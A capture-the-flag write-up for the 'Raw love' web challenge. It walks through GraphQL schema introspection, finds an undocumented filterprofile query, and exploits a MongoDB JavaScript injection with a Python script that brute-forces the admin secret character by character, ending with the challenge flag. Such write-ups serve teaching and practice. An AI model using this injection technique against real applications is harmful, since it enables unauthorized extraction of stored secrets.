ctfzone23 web/Raw love

Description

Very soon we will update the functionality, we are already working on its security, so that no one would steal my secret. In the meantime, come have fun!

- Admin

Code inspection

Here’s the most important code of our challenge.

/static/js/FillForm.jsx

const response = await axios.post('/api', {
  query: `
    mutation ($description: String, $contact: String) {
      fill_form(description: $description, contact: $contact) {
        status
      }
    }
  `,
  variables: { description, contact }
},{
  headers: {
    Authorization: `Bearer ${token}`
  },
});

Since we have found GraphQL endpoint, let’s take a look at its schema.

curl -X POST -d '{
    "query": "{__schema{types{name,fields{name}}}}"
  }' \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer [REDACTED]" \
  https://raw-love.ctfz.one/api/

{
    "name": "Query",
    "fields": [
        {
            "name": "profile"
        },
        {
            "name": "filterprofile"
        },
        {
            "name": "like"
        },
        {
            "name": "myprofile"
        }
    ]
}

What is filterprofile query? It is not used inside sources. Let’s get its arguments.

curl -X POST -d '{
    "query": "fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef }}fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue}fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } }}query IntrospectionQuery { __schema { queryType { name } mutationType { name } types { ...FullType } directives { name description locations args { ...InputValue } } }}"
  }' \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer [REDACTED]" \
  https://raw-love.ctfz.one/api/

{
    "name": "filterprofile",
    "description": null,
    "args": [
        {
            "name": "description",
            "description": null,
            "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
            },
            "defaultValue": null
        }
    ],
    "type": {
        "kind": "LIST",
        "name": null,
        "ofType": {
            "kind": "OBJECT",
            "name": "Profile",
            "ofType": null
        }
    },
    "isDeprecated": false,
    "deprecationReason": null
}

Let’s test this request with the description argument equal to the administrator’s description.

curl -X POST -d '{"query":"query { filterprofile(description:\"Administrator\") { username } }"}' \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer [REDACTED]" \
  https://raw-love.ctfz.one/api/

{
    "data": {
        "filterprofile": [
          {
            "user": "Admin"
          }
        ]
    }
}

So it returns users by their description. Let’s try passing the character '.

{
    "data": {
        "filterprofile": null
    }
}

We found the injection! The server appears to be using MongoDB, so we need a payload that looks something like this:

;return (this.secret.substr(0, 8) == 'ctfzone{'; var _ = '

Solver code

import requests

charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
flag ="ctfzone{"
while True:
    for char in charset:
        temp_flag = flag + char
        print(f'trying {temp_flag}')
        data = requests.post("https://raw-love.ctfz.one/api/", json={
"query": """
query { 
  filterprofile(description:\"%s\") { 
    username 
    description 
    contact 
    id
    photo 
  } 
}
""" % f"Administrator'; return (this.secret.substr(0, {len(temp_flag)}) == '{temp_flag}'); var abcds='1"
          }, headers={
              "Authorization": "Bearer [REDACTED]",
              "Content-Type": "application/json",
          })
        
        if '"username":"Admin",' in data.text:
            flag = flag + char 
            print(flag)

Flag

ctfzone{rM7_E_EFBBxkkli4Tk9a}